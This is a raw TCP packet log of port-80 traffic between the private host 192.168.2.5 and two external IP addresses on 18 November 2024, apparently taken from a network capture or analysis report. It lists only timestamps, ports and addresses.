Nov 18, 2024 19:04:23.238125086 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.238142967 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.238178968 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.238240957 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.238245964 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.238261938 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.238277912 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.238295078 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.238297939 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.238344908 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.238425970 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.238441944 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.238483906 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.238549948 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.238941908 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.238989115 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.239249945 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.239264965 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.239281893 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.239310980 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.239367008 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.239387989 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.239403009 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.239420891 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.239454985 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.239500046 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.239510059 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.239516020 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.239532948 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.239567995 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.239622116 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.239658117 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.239674091 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.239690065 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.239711046 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.239774942 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.248733997 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.248769045 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.248785973 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.248801947 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.248819113 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.248826027 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.248835087 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.248851061 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.248867989 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.248873949 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.248917103 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.249025106 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.249039888 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.249053001 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.249068975 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.249083996 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.249109030 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.249125957 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.249614954 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.249699116 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.284748077 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.284765005 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.284780979 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.284842968 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.284851074 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.284867048 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.284883022 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.284926891 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.332326889 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.332408905 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.332457066 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.333836079 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.333849907 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.333904028 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.336260080 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.336277008 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.336294889 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.336359978 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.336359978 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.345308065 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.345676899 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.345738888 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.358397961 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.358414888 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.358432055 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.358495951 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.358495951 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.358669043 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.358684063 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.358700037 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.358712912 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.358727932 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.358753920 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.358755112 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.358753920 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.358771086 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.358786106 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.358812094 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.358812094 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.358939886 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.359185934 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.359210968 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.359225988 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.359230042 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.359282017 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.359329939 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.359345913 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.359402895 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.359402895 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.359424114 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.359469891 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.359477043 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.359493017 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.359527111 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.359527111 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.359693050 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.359731913 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.359746933 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.359769106 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.359769106 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.359853983 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.359869957 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.359891891 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.359891891 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.359987020 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.360167980 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.360193968 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.360208988 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.360243082 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.360243082 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.368926048 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.368942976 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.368957996 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.369014978 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.369015932 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.369033098 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.369064093 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.369064093 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.369129896 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.369143009 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.369149923 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.369165897 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.369170904 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.369206905 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.369206905 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.369455099 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.369489908 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.369503975 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.369524956 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.369535923 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.369555950 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.369576931 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.369591951 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.369611979 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.369699001 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.369767904 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.369829893 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.369869947 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.369930983 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.405019999 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.405086040 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.405169010 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.405186892 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.405208111 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.405234098 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.405236006 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.405236006 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.405297041 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.405302048 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.405358076 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.405414104 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.405430079 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.405455112 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.405489922 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.405489922 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.456665039 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.456702948 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.456737995 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.456738949 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.456784010 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.456784010 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.470115900 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.470267057 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.470350981 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.471127033 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.471180916 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.471239090 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.472415924 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.472711086 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.472762108 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.478548050 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.478586912 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.478622913 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.478655100 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.478657961 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.478676081 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.478694916 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.478738070 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.478739977 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.478794098 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.478806973 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.478848934 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.478852987 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.478897095 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.478900909 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.478935957 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.478979111 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.478979111 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.479394913 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.479446888 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.479470968 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.479481936 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.479516029 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.479518890 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.479518890 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.479553938 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.479588985 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.479600906 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.479600906 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.479624987 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.479659081 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.479674101 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.479674101 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.479726076 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.479788065 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.479821920 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.479836941 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.479865074 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.479875088 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.479907990 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.479952097 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.479952097 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.479957104 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.480034113 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.480191946 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.480246067 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.480254889 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.480281115 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.480314016 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.480364084 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.480377913 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.480397940 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.480415106 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.480443954 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.489113092 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.489146948 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.489202023 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.489216089 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.489216089 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.489236116 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.489263058 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.489289999 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.489290953 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.489325047 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.489332914 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.489360094 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.489384890 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.489444017 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.489578009 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.489610910 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.489634037 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.489645958 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.489695072 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.489713907 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.489713907 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.489835024 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.489877939 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.489877939 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.525213957 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.525270939 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.525305986 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.525321007 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.525337934 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.525338888 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.525374889 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.525384903 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.525384903 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.525420904 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.525438070 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.525454998 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.525487900 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.525492907 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.525522947 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.525523901 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.525569916 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.525569916 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.525599003 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.525669098 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.525703907 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.525733948 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.525763035 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.525768995 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.525790930 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.525878906 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.576945066 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.576982975 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.576996088 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.577029943 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.577114105 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.577114105 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.592159033 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.592514038 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.592549086 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.592585087 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.592638016 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.592638969 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.596065044 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.596381903 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:23.596446037 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:23.599379063 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.599426031 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.599457979 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.599479914 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.599484921 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.599514008 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.599549055 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.599549055 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.599597931 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.599597931 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.599601030 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.599636078 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.599674940 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.599689007 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.599724054 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.599725962 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.599752903 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.599761009 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.599761009 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.599787951 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.599837065 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.599842072 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.599842072 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.599872112 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.599915981 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.599915981 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.599944115 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.599996090 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.600038052 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.600066900 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.600110054 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.600110054 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:23.600120068 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.600152969 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:23.600169897 CET	49980	80	192.168.2.5	185.215.113.16
